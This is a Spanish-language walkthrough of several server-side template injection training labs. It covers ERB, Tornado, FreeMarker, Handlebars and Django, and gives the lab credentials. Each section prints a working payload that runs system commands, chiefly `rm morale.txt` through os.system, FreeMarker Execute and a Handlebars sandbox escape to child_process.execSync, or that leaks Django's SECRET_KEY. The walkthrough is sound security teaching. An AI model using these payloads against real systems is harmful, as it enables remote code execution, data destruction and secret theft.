Server-side template injection
Last updated
Was this helpful?
Last updated
Was this helpful?
Was this helpful?
Este laboratorio es vulnerable a inyección de plantillas del lado del servidor (SSTI) debido a la construcción insegura de una plantilla ERB.
Para resolver el laboratorio, revisa la documentación de ERB para averiguar cómo ejecutar código arbitrario y luego elimina el archivo morale.txt del directorio personal de Carlos.
Primero identificamos que la aplicación usa ERB (plantillas de Ruby) al reflejar en la URL el contenido del parámetro message
. Probamos si es vulnerable enviando {{7*7}}
, que no se evalúa, y luego <%= 7*7 %>
, que sí devuelve 49, confirmando ejecución de Ruby embebido.
Con eso ya sabemos que la plantilla ejecuta código Ruby, así que para resolver el laboratorio inyectamos directamente un comando del sistema. Usamos la sintaxis <%= rm morale.txt %>
para ejecutar el borrado del archivo que pide el enunciado.
El servidor procesa la plantilla y al evaluar ese payload elimina el archivo morale.txt
de la carpeta de Carlos.
Este laboratorio es vulnerable a inyección de plantillas del lado del servidor debido a la forma insegura en que usa una plantilla de Tornado.
Para resolver el laboratorio, revisa la documentación de Tornado para descubrir cómo ejecutar código arbitrario, y luego elimina el archivo morale.txt del directorio home de Carlos.
Puedes iniciar sesión en tu propia cuenta usando las siguientes credenciales: wiener:peter.
Para resolver el laboratorio primero identificamos que el motor de plantillas es Tornado ya que al enviar una inyección con sintaxis de otro motor nos devuelve un error específico indicando que está usando Tornado.
Con esto ajustamos el payload a la sintaxis de Tornado usando código en bloque con {% %}
e inyectamos {% import os %}{{ os.system('rm morale.txt') }}
en el campo vulnerable de blog-post-author-display. La petición se envía correctamente y en la respuesta vemos redirección y confirmación de éxito. Finalmente el laboratorio muestra que se resolvió al haber eliminado el archivo morale.txt
en el sistema del usuario Carlos.
Este laboratorio es vulnerable a inyección de plantillas del lado del servidor. Para resolver el laboratorio, identifica el motor de plantillas y usa la documentación para averiguar cómo ejecutar código arbitrario, luego elimina el archivo morale.txt del directorio personal de Carlos.
Puedes iniciar sesión en tu propia cuenta usando las siguientes credenciales:
content-manager:C0nt3ntM4n4g3r
Encontramos que la aplicación usaba FreeMarker como motor de plantillas, lo que descubrimos provocando un error al inyectar variables mal formateadas en la plantilla editable del panel de Content Manager.
Tras confirmar que era FreeMarker por el trace del error, buscamos en su documentación cómo ejecutar código. Finalmente, editamos la plantilla para incluir el payload con freemarker.template.utility.Execute
para llamar a rm morale.txt
y así borrar el archivo objetivo del directorio de Carlos, resolviendo el laboratorio exitosamente.
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("rm morale.txt")}
Este laboratorio es vulnerable a inyección de plantillas del lado del servidor. Para resolver el laboratorio, identifica el motor de plantillas y encuentra un exploit documentado en línea que puedas usar para ejecutar código arbitrario, luego elimina el archivo morale.txt del directorio personal de Carlos.
Identificamos el motor de plantillas en uso como Handlebars.js, gracias al error detallado en la respuesta del servidor (que menciona explícitamente “handlebars/compiler/parser.js”).
Sabemos por la documentación y exploits públicos que Handlebars permite romper el sandbox usando helpers avanzados. Para ejecutar comandos, se abusa del acceso a constructor
y se construye una cadena que llame a require('child_process').execSync()
.
El payload final fue un template Handlebars ofuscado pero funcional, que logró invocar rm morale.txt
, borrando el archivo en el servidor.
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').execSync('rm morale.txt');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
Este laboratorio es vulnerable a inyección de plantillas del lado del servidor debido a la forma en que se pasa un objeto a la plantilla. Esta vulnerabilidad puede explotarse para acceder a datos sensibles.
Para resolver el laboratorio, roba y envía la clave secreta del framework.
Puedes iniciar sesión en tu propia cuenta usando las siguientes credenciales:
content-manager:C0nt3ntM4n4g3r
Identificamos que la aplicación usa el motor de plantillas Django, ya que en el error del servidor aparece la ruta /usr/local/lib/python2.7/dist-packages/django/template/base.py
. Sabemos que en Django las variables de configuración, como la clave secreta del framework, suelen estar expuestas en el objeto settings
.
Para exfiltrar la clave secreta, editamos la plantilla para renderizar el valor de settings.SECRET_KEY
así:
{{settings.SECRET_KEY}}
Al guardar la plantilla con este payload, la aplicación mostró la clave secreta en la descripción del producto. Finalmente, copiamos el valor y lo enviamos para completar el laboratorio.